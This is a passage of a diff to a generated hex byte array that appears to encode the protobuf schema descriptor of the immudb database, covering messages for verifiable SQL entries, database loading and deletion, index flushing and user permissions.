0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, - 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, - 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, - 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, - 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, + 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, + 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, + 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, + 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, + 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, + 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, + 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, + 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, + 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, + 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, + 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, + 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, - 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, - 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, - 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, - 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, - 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, - 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, - 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, - 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, - 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, - 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, - 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, - 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, - 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, - 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, - 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, + 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, + 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, + 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, + 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, + 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, + 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, + 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, + 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, + 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, + 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, + 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, + 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, + 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, + 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, + 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, + 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, + 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, + 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, + 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 